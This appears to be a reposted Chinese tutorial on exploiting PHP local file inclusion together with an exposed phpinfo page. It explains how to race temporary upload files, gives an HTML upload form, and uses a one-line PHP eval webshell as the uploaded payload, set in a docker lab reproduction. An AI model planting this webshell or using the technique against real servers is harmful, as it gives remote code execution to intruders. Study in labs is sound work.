文件上傳之結合phpinfo與本地文件包含利用


背景

某站點存在本地文件包含及phpinfo,可以利用其執行腳本。

原理

原理: 利用php post上傳文件產生臨時文件,phpinfo()讀臨時文件的路徑和名字,本地包含漏洞生成1句話后門

1.php在解析multipart/form-data請求時,會創建臨時文件,並寫入上傳內容,腳本執行后即刪除

2.phpinfo可以輸出$_FILE信息

3.通過多種方式爭取時間,在臨時文件刪除前進行執行包含

1)通過在數據報文中加入大量的垃圾數據,似phpinfo頁面過大,導致phpinfo頁面過大,導致php輸出進入流式輸出,並不一次輸出完畢

2)通過大量請求來延遲php腳本的執行速度

環境復現

項目地址:http://github.com/hxer/vulnapp.git

源碼存在code目錄下,利用docker進行復現

 

 

漏洞利用

php上傳

向服務器上任意php文件post請求上傳文件時,都會生成臨時文件,可以直接在phpinfo頁面找到臨時文件的路徑及名字。

  • post上傳文件

php post方式上傳任意文件,服務器都會創建臨時文件來保存文件內容。

在HTTP協議中為了方便進行文件傳輸,規定了一種基於表單的 HTML文件傳輸方法

其中要確保上傳表單的屬性是 enctype="multipart/form-data"

其中PHP引擎對enctype=”multipart/form-data”這種請求的處理過程如下:

‍1、請求到達;

‍2、創建臨時文件,並寫入上傳文件的內容;

‍3、調用相應PHP腳本進行處理,如校驗名稱、大小等;

‍4、刪除臨時文件。

PHP引擎會首先將文件內容保存到臨時文件,然后進行相應的操作。臨時文件的名稱是 php+隨機字符 。

  • $_FILES信息,包括臨時文件路徑、名稱

在PHP中,有超全局變量$_FILES,保存上傳文件的信息,包括文件名、類型、臨時文件名、錯誤代號、大小

手工測試phpinfo()獲取臨時文件路徑

  • html表單

文件 upload.html

<!doctype html>
<html>
<body>
    <form action="phpinfo.php" method="POST" enctype="multipart/form-data">
    <h3> Test upload tmp file</h3>
    <label for="file">Filename:</label>
    <input type="file" name="file"/><br/>
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
  • 瀏覽器訪問 upload.html, 上傳文件 file.txt

<?php eval($_REQUEST["cmd"]); ?>
  • burp 查看POST 信息如下

 

  • phpinfo獲得如下信息

 

 

通過分析可見,php post上傳文件時確實經歷了:創建臨時文件--->調用相關php腳本,在phpinfo中回顯文件信息--->刪除臨時文件

ps: 發現inotifywait確實是款好工具,它可以實時監測linux某一文件夾下的文件的實時變化

安裝:

apt-get install -y inotify-tools

使用:

inotifywait -m /tmp
 
inotifywait 命令參數說明:
-m 選項表示 monitor ,即開啟監視
-r 選項表示遞歸監視,但是會比較慢一些,若監視/etc 目錄,其中的子目錄下修改文件也是能被監控到。

-e 選項指定要監控的“事件”(events)包括了:access、modify、 attrib、 close_write、 close_nowrite、close、open、 moved_to、 moved_from、move、 move_self、 create、delete、delete_self、unmount。

如果不加參數-e的話,默認就是監控所有的事件,在日常運維時,這個工具可以幫助你監控服務器上重要文件和重要目錄的變化情況。

GetShell演示

 

 

 

 

參考:https://github.com/hxer/vulnapp/tree/master/lfi_phpinfo

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM